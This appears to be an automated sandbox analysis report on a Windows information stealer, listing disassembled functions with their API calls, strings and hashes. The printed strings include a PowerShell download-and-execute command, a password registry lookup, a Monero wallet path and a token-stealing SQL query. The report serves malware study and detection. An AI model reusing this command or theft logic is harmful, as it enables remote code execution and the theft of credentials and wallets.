API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: d00d2eea2f953230f0b6210072e04ba10b9402bc569b87082a27048c31918f8d
Instruction ID: 54a4bff400b9258f99d4ebd6ae03990c1500969d7c2778ceb082ca4851cb94dc
Opcode Fuzzy Hash: d00d2eea2f953230f0b6210072e04ba10b9402bc569b87082a27048c31918f8d
Instruction Fuzzy Hash: 8E514DB1940218ABDB24DFA0DC45BEE77B8EF44701F108098F605B71C1DBB4AA99CF95

Function 001272D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0012733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 001273B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0012740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00127452
HeapFree.KERNEL32(00000000), ref: 00127459
task.LIBCPMTD ref: 00127555

Strings

Password, xrefs: 00127401

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 86e5670680de7d1666b00c85cb05f812ec4ee443821f3c6d6c9488c71fa96523
Instruction ID: cf17f8339235d4f38bebfec99031351b383ec0a2e0e9769a64a87869de94d34b
Opcode Fuzzy Hash: 86e5670680de7d1666b00c85cb05f812ec4ee443821f3c6d6c9488c71fa96523
Instruction Fuzzy Hash: 76612BB5D042689BDB24DB50DC51FDAB7B8BF58300F0081E9E689A6181DBB05BD9CFA1

Function 0012BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

Part of subcall function 0013A9B0: lstrlen.KERNEL32(?,00FF90A8,?,\Monero\wallet.keys,00140E17), ref: 0013A9C5
Part of subcall function 0013A9B0: lstrcpy.KERNEL32(00000000), ref: 0013AA04
Part of subcall function 0013A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0013AA12

Part of subcall function 0013A920: lstrcpy.KERNEL32(00000000,?), ref: 0013A972
Part of subcall function 0013A920: lstrcat.KERNEL32(00000000), ref: 0013A982

Part of subcall function 0013A8A0: lstrcpy.KERNEL32(?,00140E17), ref: 0013A905

Part of subcall function 0013A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0013A7E6

lstrlen.KERNEL32(00000000), ref: 0012BC9F

Part of subcall function 00138E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00138E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0012BCCD
lstrlen.KERNEL32(00000000), ref: 0012BDA5
lstrlen.KERNEL32(00000000), ref: 0012BDB9

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 0012BBEB
AccountId, xrefs: 0012BCC4
AccountTokens, xrefs: 0012BABA
AccountTokens, xrefs: 0012BB49

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 2dcc440c61a4bb27a00edd5820193b8bdfbdd964a21bfdbc530bad3a55f20226
Instruction ID: 84e16a3618aed68c7a601c4d5dd5e706be810151f16df6711fab3cfaef9c5dcd
Opcode Fuzzy Hash: 2dcc440c61a4bb27a00edd5820193b8bdfbdd964a21bfdbc530bad3a55f20226
Instruction Fuzzy Hash: C1B13E72910118ABDB04FBA0DD96EEE733CAF64301F804568F546B7191EF746E49CBA2

Function 00136770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00136774
ExitProcess.KERNEL32 ref: 001367A5
ExitProcess.KERNEL32 ref: 001367AF
ExitProcess.KERNEL32 ref: 001367B9
ExitProcess.KERNEL32 ref: 001367C3
ExitProcess.KERNEL32 ref: 001367CD

Strings

*, xrefs: 0013678C

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: ca52858c05704047abe13c91626df3c99c597db6d4f2875e06a77bf29464feb7
Instruction ID: 8090f60c3b387ddaeaa0c0f383d498de0b3a28169c7f486ec9991c1b3adb438f
Opcode Fuzzy Hash: ca52858c05704047abe13c91626df3c99c597db6d4f2875e06a77bf29464feb7
Instruction Fuzzy Hash: 7DF08231904209EFD3459FE0E90972C7BB8FB04703F148198F619A6290D6B04B41DF96

Function 00124FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00124FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00124FD1
InternetOpenA.WININET(00140DDF,00000000,00000000,00000000,00000000), ref: 00124FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00125011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00125041
InternetCloseHandle.WININET(?), ref: 001250B9
InternetCloseHandle.WININET(?), ref: 001250C6

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 91a7a079c68cfe3dd91e357cb98463963519ca87c5444ae67d425447cc5e2c7b
Instruction ID: 6beb9445b57332972b8f38fc8497f2d2239b13647dbfbd061e944feb14260fcf
Opcode Fuzzy Hash: 91a7a079c68cfe3dd91e357cb98463963519ca87c5444ae67d425447cc5e2c7b
Instruction Fuzzy Hash: 5731E7B4A40218ABDB24CF94DC85BDCB7B9EB48704F5081D9F609B7281C7B06A858F99

Function 001383DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00138426
wsprintfA.USER32 ref: 00138459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0013847B
RegCloseKey.ADVAPI32(00000000), ref: 0013848C
RegCloseKey.ADVAPI32(00000000), ref: 00138499

Part of subcall function 0013A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0013A7E6

RegQueryValueExA.ADVAPI32(00000000,00FFE5A8,00000000,000F003F,?,00000400), ref: 001384EC
lstrlen.KERNEL32(?), ref: 00138501
RegQueryValueExA.ADVAPI32(00000000,00FFE590,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00140B34), ref: 00138599
RegCloseKey.ADVAPI32(00000000), ref: 00138608
RegCloseKey.ADVAPI32(00000000), ref: 0013861A

Strings

%s\%s, xrefs: 0013844D

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: f99c702c614473a6c1741b927dd5ca0295c684f01d373bd75c3e846b2ae4d5fb
Instruction ID: fd70808b32395fc0dee0e5325ef7836e19109563736261d4b2fda8bd59295c19
Opcode Fuzzy Hash: f99c702c614473a6c1741b927dd5ca0295c684f01d373bd75c3e846b2ae4d5fb
Instruction Fuzzy Hash: D821E9B1910218ABDB24DF54DC85FE9B7B8FB48700F00C5D8E649A6140DF71AA85CFE4

Function 00137690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001376A4
RtlAllocateHeap.NTDLL(00000000), ref: 001376AB
RegOpenKeyExA.ADVAPI32(80000002,00FEC240,00000000,00020119,00000000), ref: 001376DD
RegQueryValueExA.ADVAPI32(00000000,00FFE608,00000000,00000000,?,000000FF), ref: 001376FE
RegCloseKey.ADVAPI32(00000000), ref: 00137708

Strings

Windows 11, xrefs: 001376BD

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 01adaf3919e1b81a3fcd141288ceb3ca68fa61447f3df1f4706e4c9e69250666
Instruction ID: 4ed6941b9f1c03d546c7083603ab92bbede42ccfada393cf6c7deb73b8ca8e3d
Opcode Fuzzy Hash: 01adaf3919e1b81a3fcd141288ceb3ca68fa61447f3df1f4706e4c9e69250666
Instruction Fuzzy Hash: BB014FB5A04608BBEB11DBE5DD49F69B7BCEB48701F108054FA05A7291E7B099008F51

Function 00137720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00137734
RtlAllocateHeap.NTDLL(00000000), ref: 0013773B
RegOpenKeyExA.ADVAPI32(80000002,00FEC240,00000000,00020119,001376B9), ref: 0013775B
RegQueryValueExA.ADVAPI32(001376B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0013777A
RegCloseKey.ADVAPI32(001376B9), ref: 00137784

Strings

CurrentBuildNumber, xrefs: 00137771

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 4ac5cbbedc571748fccc4f2a29d90af88aaafc2939a027195814fffe419386f0
Instruction ID: 2d9730a7a871e695f1c262115edc03eb17d7838db78167c8e40e6e88b19a62ab
Opcode Fuzzy Hash: 4ac5cbbedc571748fccc4f2a29d90af88aaafc2939a027195814fffe419386f0
Instruction Fuzzy Hash: A801F4B5A40308BBD711DBE4DC4AFAEBBBCEB48705F108555FA05B7291D7B065408F51

Function 001299C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001299EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00129A11
LocalAlloc.KERNEL32(00000040,?), ref: 00129A31
ReadFile.KERNEL32(000000FF,?,00000000,0012148F,00000000), ref: 00129A5A
LocalFree.KERNEL32(0012148F), ref: 00129A90
CloseHandle.KERNEL32(000000FF), ref: 00129A9A

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: c7586ac09c937510c739b5a1d37915c7ca830dbf773f2105ab42149659765ac1
Instruction ID: 5c9717a882a74b80e148968242c563151e1ad5b1b6e97abd04f70adac528f5df
Opcode Fuzzy Hash: c7586ac09c937510c739b5a1d37915c7ca830dbf773f2105ab42149659765ac1
Instruction Fuzzy Hash: E0311AB4A00309EFDB14CF98D985BEE77B9FF48340F108158E912A7290D778AA51CFA1

Function 00134780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00FFDEA0), ref: 001347DB

Part of subcall function 00138DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00138E0B

lstrcat.KERNEL32(?,00000000), ref: 00134801
lstrcat.KERNEL32(?,?), ref: 00134820
lstrcat.KERNEL32(?,?), ref: 00134834
lstrcat.KERNEL32(?,00FEB9F0), ref: 00134847
lstrcat.KERNEL32(?,?), ref: 0013485B
lstrcat.KERNEL32(?,00FFD980), ref: 0013486F

Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

Part of subcall function 00138D90: GetFileAttributesA.KERNEL32(00000000,?,00121B54,?,?,0014564C,?,?,00140E1F), ref: 00138D9F

Part of subcall function 00134570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00134580
Part of subcall function 00134570: RtlAllocateHeap.NTDLL(00000000), ref: 00134587
Part of subcall function 00134570: wsprintfA.USER32 ref: 001345A6
Part of subcall function 00134570: FindFirstFileA.KERNEL32(?,?), ref: 001345BD

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: ddda5e63a6ba4a4f38276adb754c89717bc8fa9a427b2a9a09d68e8af4eaf7d2
Instruction ID: ea1e99b02d30840362d1d9fa14daf5cb5d70c43a01c9439c2974faa814a2df8d
Opcode Fuzzy Hash: ddda5e63a6ba4a4f38276adb754c89717bc8fa9a427b2a9a09d68e8af4eaf7d2
Instruction Fuzzy Hash: 003150B290031867CB11FBA0DC85EED777CAB68704F404589B359A6081EFB4E6898F95

Function 00132C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

Part of subcall function 0013A9B0: lstrlen.KERNEL32(?,00FF90A8,?,\Monero\wallet.keys,00140E17), ref: 0013A9C5
Part of subcall function 0013A9B0: lstrcpy.KERNEL32(00000000), ref: 0013AA04
Part of subcall function 0013A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0013AA12

Part of subcall function 0013A920: lstrcpy.KERNEL32(00000000,?), ref: 0013A972
Part of subcall function 0013A920: lstrcat.KERNEL32(00000000), ref: 0013A982

Part of subcall function 0013A8A0: lstrcpy.KERNEL32(?,00140E17), ref: 0013A905

ShellExecuteEx.SHELL32(0000003C), ref: 00132D85

Strings

')", xrefs: 00132CB3
<, xrefs: 00132D39
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00132CC4
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00132D04

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 51c3fe5f06991874ccb5634ab179cd56e66c9fc3634c6acf717f5eea90de708c
Instruction ID: 1f653efa7ef9ba5802cf83ac7a8bd70726191e15505621ac67fc0fafead2f11a
Opcode Fuzzy Hash: 51c3fe5f06991874ccb5634ab179cd56e66c9fc3634c6acf717f5eea90de708c
Instruction Fuzzy Hash: 6241D371C50208AADB15FFA0C892FDDB774AF24300F904159F156B7191DF746A4ACF92

Function 00129E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00129F41

Part of subcall function 0013A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0013A7E6

